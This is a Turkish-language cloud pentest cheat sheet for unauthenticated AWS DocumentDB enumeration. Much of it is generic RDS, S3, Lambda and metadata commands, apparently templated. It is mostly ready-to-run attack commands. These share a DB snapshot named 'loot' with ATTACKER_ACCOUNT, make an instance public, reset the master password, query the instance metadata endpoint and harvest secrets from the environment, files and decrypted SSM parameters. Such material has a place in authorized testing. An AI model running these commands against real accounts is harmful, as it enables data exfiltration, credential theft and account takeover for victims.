AWS - DocumentDB Unauthenticated Enum
AWS unauth
AWS - DocumentDB Unauthenticated Enum — AWS ortamında kimlik doğrulamasız keşif ve ilk erişim notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Anonim / public yüzeyleri (URL, bucket, API, metadata) parmak izi al.
-
Kimlik gerektiren uçları ayrı tut; açık policy / misconfig doğrula.
-
Erişim kanıtı üret (listeleme, okuma, invoke).
-
Elde edilen secret/token ile authenticated faza geç.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
aws sts get-caller-identityaws configure listecho $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'Hedef komutlar
Section titled “Hedef komutlar”AWS - DocumentDB Unauthenticated Enum için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
aws rds create-db-snapshot --db-instance-identifier DB --db-snapshot-identifier lootaws rds modify-db-snapshot-attribute --db-snapshot-identifier SNAP --attribute-name restore --values-to-add ATTACKER_ACCOUNTpsql -h HOST -U master -d postgresaws rds describe-db-instancesaws rds describe-db-snapshotsaws rds describe-db-clustersaws rds modify-db-instance --db-instance-identifier DB --publicly-accessible --apply-immediatelyaws rds modify-db-instance --db-instance-identifier DB --master-user-password 'NewP@ss'Anonim doğrulama
Section titled “Anonim doğrulama”İmzasız veya public istekle okuma/yazma/invoke mümkün mü — bunu netleştir.
aws s3 ls s3://BUCKET --no-sign-requestcurl -s https://BUCKET.s3.amazonaws.com/curl -s https://ID.execute-api.REGION.amazonaws.com/STAGE/aws lambda get-policy --function-name FN 2>/dev/null | jq .curl -s http://169.254.169.254/latest/meta-data/Secret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40aws secretsmanager list-secretsaws ssm get-parameters-by-path --path / --recursive --with-decryptionRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt